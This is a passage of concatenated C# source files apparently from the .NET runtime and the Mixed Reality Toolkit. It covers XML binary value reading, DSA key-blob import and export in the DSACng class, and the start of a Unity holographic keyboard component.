ToGuid(); case ValueHandleType.TimeSpan: return ToTimeSpan(); default: throw System.Runtime.Serialization.DiagnosticUtility.ExceptionUtility.ThrowHelperError(new InvalidOperationException()); } } public bool TryReadBase64(byte[] buffer, int offset, int count, out int actual) { if (_type == ValueHandleType.Base64) { actual = Math.Min(_length, count); GetBase64(buffer, offset, actual); _offset += actual; _length -= actual; return true; } if (_type == ValueHandleType.UTF8 && count >= 3 && (_length % 4) == 0) { try { int charCount = Math.Min(count / 3 * 4, _length); actual = Base64Encoding.GetBytes(_bufferReader.Buffer, _offset, charCount, buffer, offset); _offset += charCount; _length -= charCount; return true; } catch (FormatException) { // Something unhappy with the characters, fall back to the hard way } } actual = 0; return false; } public bool TryReadChars(char[] chars, int offset, int count, out int actual) { DiagnosticUtility.DebugAssert(offset + count <= chars.Length, string.Format("offset '{0}' + count '{1}' MUST BE <= chars.Length '{2}'", offset, count, chars.Length)); if (_type == ValueHandleType.Unicode) return TryReadUnicodeChars(chars, offset, count, out actual); if (_type != ValueHandleType.UTF8) { actual = 0; return false; } int charOffset = offset; int charCount = count; byte[] bytes = _bufferReader.Buffer; int byteOffset = _offset; int byteCount = _length; bool insufficientSpaceInCharsArray = false; var encoding = new UTF8Encoding(encoderShouldEmitUTF8Identifier: false, throwOnInvalidBytes: true); while (true) { while (charCount > 0 && byteCount > 0) { // fast path for codepoints U+0000 - U+007F byte b = bytes[byteOffset]; if (b >= 0x80) break; chars[charOffset] = (char)b; byteOffset++; byteCount--; charOffset++; charCount--; } if (charCount == 0 || byteCount == 0 || insufficientSpaceInCharsArray) break; int actualByteCount; int actualCharCount; try { // If we're asking for more than are possibly available, or more than are truly available then we can return the entire thing if (charCount >= encoding.GetMaxCharCount(byteCount) || charCount >= encoding.GetCharCount(bytes, byteOffset, byteCount)) { actualCharCount = encoding.GetChars(bytes, byteOffset, byteCount, chars, charOffset); actualByteCount = byteCount; } else { Decoder decoder = encoding.GetDecoder(); // Since x bytes can never generate more than x characters this is a safe estimate as to what will fit actualByteCount = Math.Min(charCount, byteCount); // We use a decoder so we don't error if we fall across a character boundary actualCharCount = decoder.GetChars(bytes, byteOffset, actualByteCount, chars, charOffset); // We might have gotten zero characters though if < 4 bytes were requested because // codepoints from U+0000 - U+FFFF can be up to 3 bytes in UTF-8, and represented as ONE char // codepoints from U+10000 - U+10FFFF (last Unicode codepoint representable in UTF-8) are represented by up to 4 bytes in UTF-8 // and represented as TWO chars (high+low surrogate) // (e.g. 1 char requested, 1 char in the buffer represented in 3 bytes) while (actualCharCount == 0) { // Note the by the time we arrive here, if actualByteCount == 3, the next decoder.GetChars() call will read the 4th byte // if we don't bail out since the while loop will advance actualByteCount only after reading the byte. if (actualByteCount >= 3 && charCount < 2) { // If we reach here, it means that we're: // - trying to decode more than 3 bytes and, // - there is only one char left of charCount where we're stuffing decoded characters. // In this case, we need to back off since decoding > 3 bytes in UTF-8 means that we will get 2 16-bit chars // (a high surrogate and a low surrogate) - the Decoder will attempt to provide both at once // and an ArgumentException will be thrown complaining that there's not enough space in the output char array. // actualByteCount = 0 when the while loop is broken out of; decoder goes out of scope so its state no longer matters insufficientSpaceInCharsArray = true; break; } else { DiagnosticUtility.DebugAssert(byteOffset + actualByteCount < bytes.Length, string.Format("byteOffset {0} + actualByteCount {1} MUST BE < bytes.Length {2}", byteOffset, actualByteCount, bytes.Length)); // Request a few more bytes to get at least one character actualCharCount = decoder.GetChars(bytes, byteOffset + actualByteCount, 1, chars, charOffset); actualByteCount++; } } // Now that we actually retrieved some characters, figure out how many bytes it actually was actualByteCount = encoding.GetByteCount(chars, charOffset, actualCharCount); } } catch (FormatException exception) { throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(XmlExceptionHelper.CreateEncodingException(bytes, byteOffset, byteCount, exception)); } // Advance byteOffset += actualByteCount; byteCount -= actualByteCount; charOffset += actualCharCount; charCount -= actualCharCount; } _offset = byteOffset; _length = byteCount; actual = (count - charCount); return true; } private bool TryReadUnicodeChars(char[] chars, int offset, int count, out int actual) { int charCount = Math.Min(count, _length / sizeof(char)); for (int i = 0; i < charCount; i++) { chars[offset + i] = (char)_bufferReader.GetInt16(_offset + i * sizeof(char)); } _offset += charCount * sizeof(char); _length -= charCount * sizeof(char); actual = charCount; return true; } public bool TryGetDictionaryString(out XmlDictionaryString value) { if (_type == ValueHandleType.Dictionary) { value = GetDictionaryString(); return true; } else { value = null; return false; } } public bool TryGetByteArrayLength(out int length) { if (_type == ValueHandleType.Base64) { length = _length; return true; } length = 0; return false; } private string GetCharsText() { DiagnosticUtility.DebugAssert(_type == ValueHandleType.UTF8, ""); if (_length == 1 && _bufferReader.GetByte(_offset) == '1') return "1"; return _bufferReader.GetString(_offset, _length); } private string GetUnicodeCharsText() { DiagnosticUtility.DebugAssert(_type == ValueHandleType.Unicode, ""); return _bufferReader.GetUnicodeString(_offset, _length); } private string GetEscapedCharsText() { DiagnosticUtility.DebugAssert(_type == ValueHandleType.EscapedUTF8, ""); return _bufferReader.GetEscapedString(_offset, _length); } private string GetCharText() { int ch = GetChar(); if (ch > char.MaxValue) { SurrogateChar surrogate = new SurrogateChar(ch); Span<char> chars = stackalloc char[2] { surrogate.HighChar, surrogate.LowChar }; return new string(chars); } return ((char)ch).ToString(); } private int GetChar() { DiagnosticUtility.DebugAssert(_type == ValueHandleType.Char, ""); return _offset; } private int GetInt8() { DiagnosticUtility.DebugAssert(_type == ValueHandleType.Int8, ""); return _bufferReader.GetInt8(_offset); } private int GetInt16() { DiagnosticUtility.DebugAssert(_type == ValueHandleType.Int16, ""); return _bufferReader.GetInt16(_offset); } private int GetInt32() { DiagnosticUtility.DebugAssert(_type == ValueHandleType.Int32, ""); return _bufferReader.GetInt32(_offset); } private long GetInt64() { DiagnosticUtility.DebugAssert(_type == ValueHandleType.Int64 || _type == ValueHandleType.TimeSpan || _type == ValueHandleType.DateTime, ""); return _bufferReader.GetInt64(_offset); } private ulong GetUInt64() { DiagnosticUtility.DebugAssert(_type == ValueHandleType.UInt64, ""); return _bufferReader.GetUInt64(_offset); } private float GetSingle() { DiagnosticUtility.DebugAssert(_type == ValueHandleType.Single, ""); return _bufferReader.GetSingle(_offset); } private double GetDouble() { DiagnosticUtility.DebugAssert(_type == ValueHandleType.Double, ""); return _bufferReader.GetDouble(_offset); } private decimal GetDecimal() { DiagnosticUtility.DebugAssert(_type == ValueHandleType.Decimal, ""); return _bufferReader.GetDecimal(_offset); } private UniqueId GetUniqueId() { DiagnosticUtility.DebugAssert(_type == ValueHandleType.UniqueId, ""); return _bufferReader.GetUniqueId(_offset); } private Guid GetGuid() { DiagnosticUtility.DebugAssert(_type == ValueHandleType.Guid, ""); return _bufferReader.GetGuid(_offset); } private void GetBase64(byte[] buffer, int offset, int count) { DiagnosticUtility.DebugAssert(_type == ValueHandleType.Base64, ""); _bufferReader.GetBase64(_offset, buffer, offset, count); } private XmlDictionaryString GetDictionaryString() { DiagnosticUtility.DebugAssert(_type == ValueHandleType.Dictionary, ""); return _bufferReader.GetDictionaryString(_offset); } private string GetQNameDictionaryText() { DiagnosticUtility.DebugAssert(_type == ValueHandleType.QName, ""); return string.Concat(PrefixHandle.GetString(PrefixHandle.GetAlphaPrefix(_length)), ":", _bufferReader.GetDictionaryString(_offset)); } } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using Internal.Cryptography; using System.Diagnostics; using static Interop.BCrypt; using static Interop.NCrypt; using KeyBlobMagicNumber = Interop.BCrypt.KeyBlobMagicNumber; namespace System.Security.Cryptography { #if INTERNAL_ASYMMETRIC_IMPLEMENTATIONS internal static partial class DSAImplementation { #endif public sealed partial class DSACng : DSA { // For keysizes up to and including 1024 bits, CNG's blob format is BCRYPT_DSA_KEY_BLOB. // For keysizes exceeding 1024 bits, CNG's blob format is BCRYPT_DSA_KEY_BLOB_V2. private const int MaxV1KeySize = 1024; private const int Sha1HashOutputSize = 20; private const int Sha256HashOutputSize = 32; private const int Sha512HashOutputSize = 64; public override void ImportParameters(DSAParameters parameters) { if (parameters.P == null || parameters.Q == null || parameters.G == null || parameters.Y == null) throw new ArgumentException(SR.Cryptography_InvalidDsaParameters_MissingFields); // J is not required and is not even used on CNG blobs. It should however be less than P (J == (P-1) / Q). This validation check // is just to maintain parity with DSACryptoServiceProvider, which also performs this check. if (parameters.J != null && parameters.J.Length >= parameters.P.Length) throw new ArgumentException(SR.Cryptography_InvalidDsaParameters_MismatchedPJ); bool hasPrivateKey = parameters.X != null; int keySizeInBytes = parameters.P.Length; int keySizeInBits = keySizeInBytes * 8; if (parameters.G.Length != keySizeInBytes || parameters.Y.Length != keySizeInBytes) throw new ArgumentException(SR.Cryptography_InvalidDsaParameters_MismatchedPGY); if (hasPrivateKey && parameters.X.Length != parameters.Q.Length) throw new ArgumentException(SR.Cryptography_InvalidDsaParameters_MismatchedQX); byte[] blob; if (keySizeInBits <= MaxV1KeySize) { GenerateV1DsaBlob(out blob, parameters, keySizeInBytes, hasPrivateKey); } else { GenerateV2DsaBlob(out blob, parameters, keySizeInBytes, hasPrivateKey); } ImportKeyBlob(blob, hasPrivateKey); } public override byte[] ExportEncryptedPkcs8PrivateKey( ReadOnlySpan<byte> passwordBytes, PbeParameters pbeParameters) { if (pbeParameters == null) throw new ArgumentNullException(nameof(pbeParameters)); return CngPkcs8.ExportEncryptedPkcs8PrivateKey( this, passwordBytes, pbeParameters); } public override byte[] ExportEncryptedPkcs8PrivateKey( ReadOnlySpan<char> password, PbeParameters pbeParameters) { if (pbeParameters == null) { throw new ArgumentNullException(nameof(pbeParameters)); } PasswordBasedEncryption.ValidatePbeParameters( pbeParameters, password, ReadOnlySpan<byte>.Empty); if (CngPkcs8.IsPlatformScheme(pbeParameters)) { return ExportEncryptedPkcs8(password, pbeParameters.IterationCount); } return CngPkcs8.ExportEncryptedPkcs8PrivateKey( this, password, pbeParameters); } public override bool TryExportEncryptedPkcs8PrivateKey( ReadOnlySpan<byte> passwordBytes, PbeParameters pbeParameters, Span<byte> destination, out int bytesWritten) { if (pbeParameters == null) throw new ArgumentNullException(nameof(pbeParameters)); PasswordBasedEncryption.ValidatePbeParameters( pbeParameters, ReadOnlySpan<char>.Empty, passwordBytes); return CngPkcs8.TryExportEncryptedPkcs8PrivateKey( this, passwordBytes, pbeParameters, destination, out bytesWritten); } public override bool TryExportEncryptedPkcs8PrivateKey( ReadOnlySpan<char> password, PbeParameters pbeParameters, Span<byte> destination, out int bytesWritten) { if (pbeParameters == null) throw new ArgumentNullException(nameof(pbeParameters)); PasswordBasedEncryption.ValidatePbeParameters( pbeParameters, password, ReadOnlySpan<byte>.Empty); if (CngPkcs8.IsPlatformScheme(pbeParameters)) { return TryExportEncryptedPkcs8( password, pbeParameters.IterationCount, destination, out bytesWritten); } return CngPkcs8.TryExportEncryptedPkcs8PrivateKey( this, password, pbeParameters, destination, out bytesWritten); } private static void GenerateV1DsaBlob(out byte[] blob, DSAParameters parameters, int cbKey, bool includePrivate) { // We need to build a key blob structured as follows: // // BCRYPT_DSA_KEY_BLOB header // byte[cbKey] P // byte[cbKey] G // byte[cbKey] Y // -- Private only -- // byte[Sha1HashOutputSize] X unsafe { int blobSize = sizeof(BCRYPT_DSA_KEY_BLOB) + cbKey + cbKey + cbKey; if (includePrivate) { blobSize += Sha1HashOutputSize; } blob = new byte[blobSize]; fixed (byte* pDsaBlob = &blob[0]) { // Build the header BCRYPT_DSA_KEY_BLOB* pBcryptBlob = (BCRYPT_DSA_KEY_BLOB*)pDsaBlob; pBcryptBlob->Magic = includePrivate ? KeyBlobMagicNumber.BCRYPT_DSA_PRIVATE_MAGIC : KeyBlobMagicNumber.BCRYPT_DSA_PUBLIC_MAGIC; pBcryptBlob->cbKey = cbKey; int offset = sizeof(KeyBlobMagicNumber) + sizeof(int); // skip Magic and cbKey if (parameters.Seed != null) { // The Seed length is hardcoded into BCRYPT_DSA_KEY_BLOB, so check it now we can give a nicer error message. if (parameters.Seed.Length != Sha1HashOutputSize) throw new ArgumentException(SR.Cryptography_InvalidDsaParameters_SeedRestriction_ShortKey); Interop.BCrypt.EmitBigEndian(blob, ref offset, parameters.Counter); Interop.BCrypt.Emit(blob, ref offset, parameters.Seed); } else { // If Seed is not present, back fill both counter and seed with 0xff. Do not use parameters.Counter as CNG is more strict than CAPI and will reject // anything other than 0xffffffff. That could complicate efforts to switch usage of DSACryptoServiceProvider to DSACng. Interop.BCrypt.EmitByte(blob, ref offset, 0xff, Sha1HashOutputSize + sizeof(int)); } // The Q length is hardcoded into BCRYPT_DSA_KEY_BLOB, so check it now we can give a nicer error message. if (parameters.Q.Length != Sha1HashOutputSize) throw new ArgumentException(SR.Cryptography_InvalidDsaParameters_QRestriction_ShortKey); Interop.BCrypt.Emit(blob, ref offset, parameters.Q); Debug.Assert(offset == sizeof(BCRYPT_DSA_KEY_BLOB), $"Expected offset = sizeof(BCRYPT_DSA_KEY_BLOB), got {offset} != {sizeof(BCRYPT_DSA_KEY_BLOB)}"); Interop.BCrypt.Emit(blob, ref offset, parameters.P); Interop.BCrypt.Emit(blob, ref offset, parameters.G); Interop.BCrypt.Emit(blob, ref offset, parameters.Y); if (includePrivate) { Interop.BCrypt.Emit(blob, ref offset, parameters.X); } Debug.Assert(offset == blobSize, $"Expected offset = blobSize, got {offset} != {blobSize}"); } } } private static void GenerateV2DsaBlob(out byte[] blob, DSAParameters parameters, int cbKey, bool includePrivateParameters) { // We need to build a key blob structured as follows: // BCRYPT_DSA_KEY_BLOB_V2 header // byte[cbSeedLength] Seed // byte[cbGroupSize] Q // byte[cbKey] P // byte[cbKey] G // byte[cbKey] Y // -- Private only -- // byte[cbGroupSize] X unsafe { int blobSize = sizeof(BCRYPT_DSA_KEY_BLOB_V2) + (parameters.Seed == null ? parameters.Q.Length : parameters.Seed.Length) + // Use Q size if Seed is not present parameters.Q.Length + parameters.P.Length + parameters.G.Length + parameters.Y.Length + (includePrivateParameters ? parameters.X.Length : 0); blob = new byte[blobSize]; fixed (byte* pDsaBlob = &blob[0]) { // Build the header BCRYPT_DSA_KEY_BLOB_V2* pBcryptBlob = (BCRYPT_DSA_KEY_BLOB_V2*)pDsaBlob; pBcryptBlob->Magic = includePrivateParameters ? KeyBlobMagicNumber.BCRYPT_DSA_PRIVATE_MAGIC_V2 : KeyBlobMagicNumber.BCRYPT_DSA_PUBLIC_MAGIC_V2; pBcryptBlob->cbKey = cbKey; // For some reason, Windows bakes the hash algorithm into the key itself. Furthermore, it demands that the Q length match the // length of the named hash algorithm's output - otherwise, the Import fails. So we have to give it the hash algorithm that matches // the Q length - and if there is no matching hash algorithm, we throw up our hands and throw a PlatformNotSupported. // // Note that this has no bearing on the hash algorithm you pass to SignData(). The class library (not Windows) hashes that according // to the hash algorithm passed to SignData() and presents the hash result to NCryptSignHash(), truncating the hash to the Q length // if necessary (and as demanded by the NIST spec.) Windows will be no wiser and we'll get the result we want. HASHALGORITHM_ENUM hashAlgorithm; switch (parameters.Q.Length) { case Sha1HashOutputSize: hashAlgorithm = HASHALGORITHM_ENUM.DSA_HASH_ALGORITHM_SHA1; break; case Sha256HashOutputSize: hashAlgorithm = HASHALGORITHM_ENUM.DSA_HASH_ALGORITHM_SHA256; break; case Sha512HashOutputSize: hashAlgorithm = HASHALGORITHM_ENUM.DSA_HASH_ALGORITHM_SHA512; break; default: throw new PlatformNotSupportedException(SR.Cryptography_InvalidDsaParameters_QRestriction_LargeKey); } pBcryptBlob->hashAlgorithm = hashAlgorithm; pBcryptBlob->standardVersion = DSAFIPSVERSION_ENUM.DSA_FIPS186_3; int offset = sizeof(BCRYPT_DSA_KEY_BLOB_V2) - 4; //skip to Count[4] if (parameters.Seed != null) { Interop.BCrypt.EmitBigEndian(blob, ref offset, parameters.Counter); Debug.Assert(offset == sizeof(BCRYPT_DSA_KEY_BLOB_V2), $"Expected offset = sizeof(BCRYPT_DSA_KEY_BLOB_V2), got {offset} != {sizeof(BCRYPT_DSA_KEY_BLOB_V2)}"); pBcryptBlob->cbSeedLength = parameters.Seed.Length; pBcryptBlob->cbGroupSize = parameters.Q.Length; Interop.BCrypt.Emit(blob, ref offset, parameters.Seed); } else { // If Seed is not present, back fill both counter and seed with 0xff. Do not use parameters.Counter as CNG is more strict than CAPI and will reject // anything other than 0xffffffff. That could complicate efforts to switch usage of DSACryptoServiceProvider to DSACng. Interop.BCrypt.EmitByte(blob, ref offset, 0xff, sizeof(int)); Debug.Assert(offset == sizeof(BCRYPT_DSA_KEY_BLOB_V2), $"Expected offset = sizeof(BCRYPT_DSA_KEY_BLOB_V2), got {offset} != {sizeof(BCRYPT_DSA_KEY_BLOB_V2)}"); int defaultSeedLength = parameters.Q.Length; pBcryptBlob->cbSeedLength = defaultSeedLength; pBcryptBlob->cbGroupSize = parameters.Q.Length; Interop.BCrypt.EmitByte(blob, ref offset, 0xff, defaultSeedLength); } Interop.BCrypt.Emit(blob, ref offset, parameters.Q); Interop.BCrypt.Emit(blob, ref offset, parameters.P); Interop.BCrypt.Emit(blob, ref offset, parameters.G); Interop.BCrypt.Emit(blob, ref offset, parameters.Y); if (includePrivateParameters) { Interop.BCrypt.Emit(blob, ref offset, parameters.X); } Debug.Assert(offset == blobSize, $"Expected offset = blobSize, got {offset} != {blobSize}"); } } } public override DSAParameters ExportParameters(bool includePrivateParameters) { byte[] dsaBlob = ExportKeyBlob(includePrivateParameters); KeyBlobMagicNumber magic = (KeyBlobMagicNumber)BitConverter.ToInt32(dsaBlob, 0); // Check the magic value in the key blob header. If the blob does not have the required magic, // then throw a CryptographicException. CheckMagicValueOfKey(magic, includePrivateParameters); unsafe { DSAParameters dsaParams = new DSAParameters(); fixed (byte* pDsaBlob = dsaBlob) { int offset; if (magic == KeyBlobMagicNumber.BCRYPT_DSA_PUBLIC_MAGIC || magic == KeyBlobMagicNumber.BCRYPT_DSA_PRIVATE_MAGIC) { if (dsaBlob.Length < sizeof(BCRYPT_DSA_KEY_BLOB)) throw ErrorCode.E_FAIL.ToCryptographicException(); BCRYPT_DSA_KEY_BLOB* pBcryptBlob = (BCRYPT_DSA_KEY_BLOB*)pDsaBlob; // We now have a buffer laid out as follows: // BCRYPT_DSA_KEY_BLOB header // byte[cbKey] P // byte[cbKey] G // byte[cbKey] Y // -- Private only -- // byte[Sha1HashOutputSize] X offset = sizeof(KeyBlobMagicNumber) + sizeof(int); // skip Magic and cbKey // Read out a (V1) BCRYPT_DSA_KEY_BLOB structure. dsaParams.Counter = FromBigEndian(Interop.BCrypt.Consume(dsaBlob, ref offset, 4)); dsaParams.Seed = Interop.BCrypt.Consume(dsaBlob, ref offset, Sha1HashOutputSize); dsaParams.Q = Interop.BCrypt.Consume(dsaBlob, ref offset, Sha1HashOutputSize); Debug.Assert(offset == sizeof(BCRYPT_DSA_KEY_BLOB), $"Expected offset = sizeof(BCRYPT_DSA_KEY_BLOB), got {offset} != {sizeof(BCRYPT_DSA_KEY_BLOB)}"); dsaParams.P = Interop.BCrypt.Consume(dsaBlob, ref offset, pBcryptBlob->cbKey); dsaParams.G = Interop.BCrypt.Consume(dsaBlob, ref offset, pBcryptBlob->cbKey); dsaParams.Y = Interop.BCrypt.Consume(dsaBlob, ref offset, pBcryptBlob->cbKey); if (includePrivateParameters) { dsaParams.X = Interop.BCrypt.Consume(dsaBlob, ref offset, Sha1HashOutputSize); } } else { Debug.Assert(magic == KeyBlobMagicNumber.BCRYPT_DSA_PUBLIC_MAGIC_V2 || magic == KeyBlobMagicNumber.BCRYPT_DSA_PRIVATE_MAGIC_V2); if (dsaBlob.Length < sizeof(BCRYPT_DSA_KEY_BLOB_V2)) throw ErrorCode.E_FAIL.ToCryptographicException(); BCRYPT_DSA_KEY_BLOB_V2* pBcryptBlob = (BCRYPT_DSA_KEY_BLOB_V2*)pDsaBlob; // We now have a buffer laid out as follows: // BCRYPT_DSA_KEY_BLOB_V2 header // byte[cbSeedLength] Seed // byte[cbGroupSize] Q // byte[cbKey] P // byte[cbKey] G // byte[cbKey] Y // -- Private only -- // byte[cbGroupSize] X offset = sizeof(BCRYPT_DSA_KEY_BLOB_V2) - 4; //skip to Count[4] // Read out a BCRYPT_DSA_KEY_BLOB_V2 structure. dsaParams.Counter = FromBigEndian(Interop.BCrypt.Consume(dsaBlob, ref offset, 4)); Debug.Assert(offset == sizeof(BCRYPT_DSA_KEY_BLOB_V2), $"Expected offset = sizeof(BCRYPT_DSA_KEY_BLOB_V2), got {offset} != {sizeof(BCRYPT_DSA_KEY_BLOB_V2)}"); dsaParams.Seed = Interop.BCrypt.Consume(dsaBlob, ref offset, pBcryptBlob->cbSeedLength); dsaParams.Q = Interop.BCrypt.Consume(dsaBlob, ref offset, pBcryptBlob->cbGroupSize); dsaParams.P = Interop.BCrypt.Consume(dsaBlob, ref offset, pBcryptBlob->cbKey); dsaParams.G = Interop.BCrypt.Consume(dsaBlob, ref offset, pBcryptBlob->cbKey); dsaParams.Y = Interop.BCrypt.Consume(dsaBlob, ref offset, pBcryptBlob->cbKey); if (includePrivateParameters) { dsaParams.X = Interop.BCrypt.Consume(dsaBlob, ref offset, pBcryptBlob->cbGroupSize); } } // If no counter/seed information is present, normalize Counter and Seed to 0/null to maintain parity with the CAPI version of DSA. if (dsaParams.Counter == -1) { dsaParams.Counter = 0; dsaParams.Seed = null; } Debug.Assert(offset == dsaBlob.Length, $"Expected offset = dsaBlob.Length, got {offset} != {dsaBlob.Length}"); return dsaParams; } } } private static int FromBigEndian(byte[] b) { return (b[0] << 24) | (b[1] << 16) | (b[2] << 8) | b[3]; } /// <summary> /// This function checks the magic value in the key blob header /// </summary> /// <param name="includePrivateParameters">Private blob if true else public key blob</param> private static void CheckMagicValueOfKey(KeyBlobMagicNumber magic, bool includePrivateParameters) { if (includePrivateParameters) { if (magic != KeyBlobMagicNumber.BCRYPT_DSA_PRIVATE_MAGIC && magic != KeyBlobMagicNumber.BCRYPT_DSA_PRIVATE_MAGIC_V2) throw new CryptographicException(SR.Cryptography_NotValidPrivateKey); } else { if (magic != KeyBlobMagicNumber.BCRYPT_DSA_PUBLIC_MAGIC && magic != KeyBlobMagicNumber.BCRYPT_DSA_PUBLIC_MAGIC_V2) throw new CryptographicException(SR.Cryptography_NotValidPublicOrPrivateKey); } } } #if INTERNAL_ASYMMETRIC_IMPLEMENTATIONS } #endif }
// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. See LICENSE in the project root for license information. using UnityEngine; using UnityEngine.UI; using System; using Microsoft.MixedReality.Toolkit.Input; using Microsoft.MixedReality.Toolkit.Utilities; using TMPro; namespace Microsoft.MixedReality.Toolkit.Experimental.UI { /// <summary> /// A simple general use keyboard that is ideal for AR/VR applications that do not provide a native keyboard. /// </summary> /// /// NOTE: This keyboard will not automatically appear when you select an InputField in your /// Canvas. In order for the keyboard to appear you must call Keyboard.Instance.PresentKeyboard(string). /// To retrieve the input from the Keyboard, subscribe to the textEntered event. Note that /// tapping 'Close' on the Keyboard will not fire the textEntered event. You must tap 'Enter' to /// get the textEntered event. public class NonNativeKeyboard : InputSystemGlobalHandlerListener, IMixedRealityDictationHandler { public static NonNativeKeyboard Instance { get; private set; } /// <summary> /// Layout type enum for the type of keyboard layout to use. /// This is used when spawning to enable the correct keys based on layout type. /// </summary> public enum LayoutType { Alpha, Symbol, URL, Email, } #region Callbacks /// <summary> /// Sent when the 'Enter' button is pressed. To retrieve the text from the event, /// cast the sender to 'Keyboard' and get the text from the TextInput field. /// (Cleared when keyboard is closed.) /// </summary> public event EventHandler OnTextSubmitted = delegate { }; /// <summary> /// Fired every time the text in the InputField changes. /// (Cleared when keyboard is closed.) /// </summary> public event Action<string> OnTextUpdated = delegate { }; /// <summary> /// Fired every time the close button is pressed. /// (Cleared when keyboard is closed.) /// </summary> public event EventHandler OnClosed = delegate { }; /// <summary> /// Sent when the 'Previous' button is pressed. Ideally you would use this event /// to set your targeted text input to the previous text field in your document. /// (Cleared when keyboard is closed.) /// </summary> public event EventHandler OnPrevious = delegate { }; /// <summary> /// Sent when the 'Next' button is pressed. Ideally you would use this event /// to set your targeted text input to the next text field in your document. /// (Cleared when keyboard is closed.) /// </summary> public event EventHandler OnNext = delegate { }; /// <summary> /// Sent when the keyboard is placed. This allows listener to know when someone else is co-opting the keyboard. /// </summary> public event EventHandler OnPlacement = delegate { }; #endregion Callbacks /// <summary> /// The InputField that the keyboard uses to show the currently edited text. /// If you are using the Keyboard prefab you can ignore this field as it will /// be already assigned. /// </summary> [Experimental] public TMP_InputField InputField = null; /// <summary> /// Move the axis slider based on the camera forward and the keyboard plane projection. /// </summary> public AxisSlider InputFieldSlide = null; /// <summary> /// Bool for toggling the slider being enabled. /// </summary> public bool SliderEnabled = true; /// <summary> /// Bool to flag submitting on enter /// </summary> public bool SubmitOnEnter = true; /// <summary> /// The panel that contains the alpha keys. /// </summary> public Image AlphaKeyboard = null; /// <summary> /// The panel that contains the number and symbol keys. /// </summary> public Image SymbolKeyboard = null; /// <summary> /// References abc bottom panel. /// </summary> public Image AlphaSubKeys = null; /// <summary> /// References .com bottom panel. /// </summary> public Image AlphaWebKeys = null; /// <summary> /// References @ bottom panel. /// </summary> public Image AlphaMailKeys = null; private LayoutType m_LastKeyboardLayout = LayoutType.Alpha; /// <summary> /// The scale the keyboard should be at its maximum distance. /// </summary> [Header("Positioning")] [SerializeField] private float m_MaxScale = 1.0f; /// <summary> /// The scale the keyboard should be at its minimum distance. /// </summary> [SerializeField] private float m_MinScale = 1.0f; /// <summary> /// The maximum distance the keyboard should be from the user. /// </summary> [SerializeField] private float m_MaxDistance = 3.5f; /// <summary> /// The minimum distance the keyboard needs to be away from the user. /// </summary> [SerializeField] private float m_MinDistance = 0.25f; /// <summary> /// Make the keyboard disappear automatically after a timeout /// </summary> public bool CloseOnInactivity = true; /// <summary> /// Inactivity time that makes the keyboard disappear automatically. /// </summary> public float CloseOnInactivityTime = 15; /// <summary> /// Time on which the keyboard should close on inactivity /// </summary> private float _closingTime; /// <summary> /// Event fired when shift key on keyboard is pressed. /// </summary> public event Action<bool> OnKeyboardShifted = delegate { }; /// <summary> /// Current shift state of keyboard. /// </summary> private bool m_IsShifted = false; /// <summary> /// Current caps lock state of keyboard. /// </summary> private bool m_IsCapslocked = false; /// <summary> /// Accessor reporting shift state of keyboard. /// </summary> public bool IsShifted { get { return m_IsShifted; } } /// <summary> /// Accessor reporting caps lock state of keyboard. /// </summary> public bool IsCapsLocked { get { return m_IsCapslocked; } } /// <summary> /// The position of the caret in the text field. /// </summary> private int m_CaretPosition = 0; /// <summary> /// The starting scale of the keyboard. /// </summary> private Vector3 m_StartingScale = Vector3.one; /// <summary> /// The default bounds of the keyboard. /// </summary> private Vector3 m_ObjectBounds; /// <summary> /// The default color of the mike key. /// </summary> private Color _defaultColor; /// <summary> /// The image on the mike key. /// </summary> private Image _recordImage; /// <summary> /// User can add an audio source to the keyboard to have a click be heard on tapping a key /// </summary> private AudioSource _audioSource; /// <summary> /// Dictation System /// </summary> private IMixedRealityDictationSystem dictationSystem; /// <summary> /// Deactivate on Awake. /// </summary> void Awake() { Instance = this; m_StartingScale = transform.localScale; Bounds canvasBounds = RectTransformUtility.CalculateRelativeRectTransformBounds(transform); RectTransform rect = GetComponent<RectTransform>(); m_ObjectBounds = new Vector3(canvasBounds.size.x * rect.localScale.x, canvasBounds.size.y * rect.localScale.y, canvasBounds.size.z * rect.localScale.z); // Actually find microphone key in the keyboard var dictationButton = TransformExtensions.GetChildRecursive(gameObject.transform, "Dictation"); if (dictationButton != null) { var dictationIcon = dictationButton.Find("keyboard_closeIcon"); if (dictationIcon != null) { _recordImage = dictationIcon.GetComponentInChildren<Image>(); var material = new Material(_recordImage.material); _defaultColor = material.color; _recordImage.material = material; } } // Setting the keyboardType to an undefined TouchScreenKeyboardType, // which prevents the MRTK keyboard from triggering the system keyboard itself. InputField.keyboardType = (TouchScreenKeyboardType)(int.MaxValue); // Keep keyboard deactivated until needed gameObject.SetActive(false); } /// <summary> /// Set up Dictation, CanvasEX, and automatically select the TextInput object. /// </summary> protected override void Start() { base.Start(); dictationSystem = CoreServices.GetInputSystemDataProvider<IMixedRealityDictationSystem>(); // Delegate Subscription InputField.onValueChanged.AddListener(DoTextUpdated); } protected override void RegisterHandlers() { CoreServices.InputSystem?.RegisterHandler<IMixedRealityDictationHandler>(this); } protected override void UnregisterHandlers() { CoreServices.InputSystem?.UnregisterHandler<IMixedRealityDictationHandler>(this); } /// <summary> /// Intermediary function for text update events. /// Workaround for strange leftover reference when unsubscribing. /// </summary> /// <param name="value">String value.</param> private void DoTextUpdated(string value) => OnTextUpdated?.Invoke(value); /// <summary> /// Makes sure the input field is always selected while the keyboard is up. /// </summary> private void LateUpdate() { // Axis Slider if (SliderEnabled) { Vector3 nearPoint = Vector3.ProjectOnPlane(CameraCache.Main.transform.forward, transform.forward); Vector3 relPos = transform.InverseTransformPoint(nearPoint); InputFieldSlide.TargetPoint = relPos; } CheckForCloseOnInactivityTimeExpired(); } private void UpdateCaretPosition(int newPos) => InputField.caretPosition = newPos; /// <summary> /// Called whenever the keyboard is disabled or deactivated. /// </summary> protected override void OnDisable() { base.OnDisable(); m_LastKeyboardLayout = LayoutType.Alpha; Clear(); } /// <summary> /// Called when dictation hypothesis is found. Not used here /// </summary> /// <param name="eventData">Dictation event data</param> public void OnDictationHypothesis(DictationEventData eventData) { } /// <summary> /// Called when dictation result is obtained /// </summary> /// <param name="eventData">Dictation event data</param> public void OnDictationResult(DictationEventData eventData) { if (eventData.used) { return; } var text = eventData.DictationResult; ResetClosingTime(); if (text != null) { m_CaretPosition = InputField.caretPosition; InputField.text = 